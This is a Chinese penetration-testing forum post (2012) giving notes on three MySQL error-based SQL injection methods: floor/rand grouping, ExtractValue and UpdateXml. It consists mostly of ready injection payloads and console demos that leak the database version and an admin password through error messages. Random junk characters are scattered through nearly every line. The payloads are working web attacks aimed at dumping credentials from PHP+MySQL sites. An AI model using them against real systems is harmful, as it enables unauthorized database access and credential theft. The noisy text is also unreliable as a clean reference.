中国网络渗透测试联盟

标题: 关于Mysql注入过程中的三种报错方式 [打印本页]

作者: admin    时间: 2012-12-10 10:28
标题: 关于Mysql注入过程中的三种报错方式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。6 \- E6 H9 K9 R$ k7 a
实际测试环境:- c6 j3 {; Z3 F1 z7 x
​
; {1 H' ~8 Q2 p; a" q, O
8 Y7 s) q* C4 omysql> show tables;
+ [' M) U% O4 B0 L) @+----------------+8 m+ e, D4 I# L9 t
| Tables_in_test |
5 P* d6 Q! i4 z+----------------+
, F. Q& X6 V& l* _| admin          |" n  ^$ o$ c. J; E/ i8 A3 ?/ c
| article        |
* L' F& J) @; y) P+----------------+) M4 Z8 D1 W& U7 l

7 m0 ~! ]% o; w- o; |
4 r6 C6 e- A  n- S5 b5 o ( s% ?. H' s% `* N
mysql> describe admin;
6 h- ?5 H2 J2 R8 N; h' I+-------+------------------+------+-----+---------+----------------+
: K# e3 }9 M+ K+ k  z* }/ q! d! E| Field | Type             | Null | Key | Default | Extra          |; J  I8 g6 @' E, Y6 n3 T4 ~7 ^
+-------+------------------+------+-----+---------+----------------+
% o( H/ |, q% ?+ ^; G/ G| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |7 J% ^4 P: m/ ]! C) F; ]# r
| user  | varchar(50)      | NO   |     | NULL    |                |- D# t- k; q7 \; f' h, X
| pass  | varchar(50)      | NO   |     | NULL    |                |
% i/ B7 ]" m$ E4 L& G+-------+------------------+------+-----+---------+----------------+
/ a( {* r. o! h7 g  W. ]3 b
) `, |" g% [, V/ a+ o/ z7 u* u 5 x. c/ l# R! N9 n: x& z
, f+ Z( b/ X: K! M; C: I
mysql> describe article;
5 F0 ^2 Q: }6 ]0 w% e' ~) W+---------+------------------+------+-----+---------+----------------+8 A: l* w  k  n, _- [
| Field   | Type             | Null | Key | Default | Extra          |* v- S( }& Z) Q, Q3 w& R/ i+ @4 _
+---------+------------------+------+-----+---------+----------------+( \- s7 N: x: d  p* J& V7 a8 D9 Q
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |0 V  U% j( l& F% u
| title   | varchar(50)      | NO   |     | NULL    |                |% j! ~. v  C# S3 R7 ?4 {
| content | varchar(50)      | NO   |     | NULL    |                |
* X% H. `4 }3 v' A. Q2 j' ]+---------+------------------+------+-----+---------+----------------+
4 M! Y" `  |9 ~! a: Y, B1、通过floor报错9 y& X2 c" o7 S
可以通过如下一些利用代码
+ m2 [$ ^9 z4 a8 S6 z
5 s+ m1 A' b5 p $ {& {( G. S* ^3 x* u
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x, ?1 J1 M2 {. `  W( D- s) E
from information_schema.tables group by x)a);7 ?8 {1 D0 \. C  F
" }: a( l" q2 ~$ q" [, `- C1 f& y  J

& A- I6 l& y0 P2 wand (select count(*) from (select 1 union select null union select !1)x: l$ Z) R+ l: `
group by concat((select table_name from information_schema.tables limit 1),* y5 m# C; Q& j: l) ]& P- `
floor(rand(0)*2)));+ L0 P; m: y* Q- E+ k2 P+ Y
举例如下:/ A* E4 P/ g5 ?
首先进行正常查询:8 M7 {. M" x9 Z' ^' {9 O: S
* l1 V. L. i; S) R7 s
mysql> select * from article where id = 1;+ K# A4 T7 @2 w. O3 @6 P
+----+-------+---------+4 h  ~0 X$ Q/ \' {) @
| id | title | content |
1 ]  M9 K" N9 u; I8 n+----+-------+---------+
+ A" ?4 L: t+ H|  1 | test  | do it   |
' }/ h- h& k5 s- c1 S+----+-------+---------+! o8 N; F& P5 j
假如id输入存在注入的话,可以通过如下语句进行报错。
6 l/ V4 T8 W; e& v
' t4 ^1 i6 w  ]' I" g  o# D8 r" {3 ^
3 K6 a7 C8 x. [. jmysql> select * from article where id = 1 and (select 1 from
5 h$ ?& N! t3 M# _  D( g(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);5 k1 @4 Z  O6 \$ y+ }
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
9 u- A$ G" G, {% I( o可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。2 M) y7 k, q/ S% F) ^
例如我们需要查询管理员用户名和密码:
- q0 }$ L) C/ S* w6 [3 @. V; AMethod1:
5 _$ {" F* \7 O# b; ` , y3 l- t4 w% N/ d
( U, h- Y+ m3 i# |, \
mysql> select * from article where id = 1 and (select 1 from0 A4 B& m" ~# [
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x1 Y$ \0 ^# p/ H9 R3 T
from information_schema.tables group by x)a);5 a9 l! M0 c& y1 f7 q/ K
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'' ]6 n3 y8 ?! n9 |8 B$ T) s5 E
Method2:
& l# j" C; k: F% \" O6 {0 E' i 6 X0 l% k; |$ a8 a7 @9 B; @; W
$ M$ Z0 B% d: r' e$ q5 G0 Q; d, l
mysql> select * from article where id = 1 and (select count(*)
  D' s8 J$ Z! t5 {2 ]' U1 Zfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),6 S. O' j8 O# b; W) E
floor(rand(0)*2)));+ ^! `* F) a9 y4 F$ R* T
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'( T6 N- O1 m$ S
2、ExtractValue* p' {2 k3 O( _
测试语句如下  a: K# W3 R! _; U( {1 G" r+ j0 F5 z
$ W0 k, E( j% q7 A  U
( _5 F  G1 f/ ?: \7 }  E& A
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));* ]! c1 w' F  F
实际测试过程
, j1 ~5 y2 i$ Q' n( e* }2 n3 v 9 U+ `6 v9 r# @7 s4 J) D* S- _

, Z) [. E; |/ w1 b/ R8 v! Dmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
* x9 C9 S$ D( g4 S/ ?; B8 F(select pass from admin limit 1)));--* K2 b- V$ J. Y4 J: ^
ERROR 1105 (HY000): XPATH syntax error: '\admin888'% |4 {/ b* R' m' I% J
3、UpdateXml2 F% R. L% F' {" V" B' P
测试语句% ~# {' E! O" P9 e
4 D; M8 R" U: d8 M

- {" d+ }2 s0 band 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))( Z9 i  V" A3 f# q$ s
实际测试过程
1 f/ S- k  i8 Z6 y3 h, t' o 7 J" Q4 T/ |' ~: X" e; ~0 m2 j

/ q, M9 {/ _! lmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
0 d; h, o6 A; A$ U, _(select pass from admin limit 1),0x5e24),1));
3 ?) g1 F/ T- K' i0 YERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'7 i$ M0 n% F2 ?& Y0 s  S( P- c2 A7 J+ p
All, thanks foreign guys.
, Z: A% o  M$ a9 u7 V- x: `" ]
7 O2 |7 r8 C( x0 \2 d​) c+ A- q0 I9 T( W( M( |





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2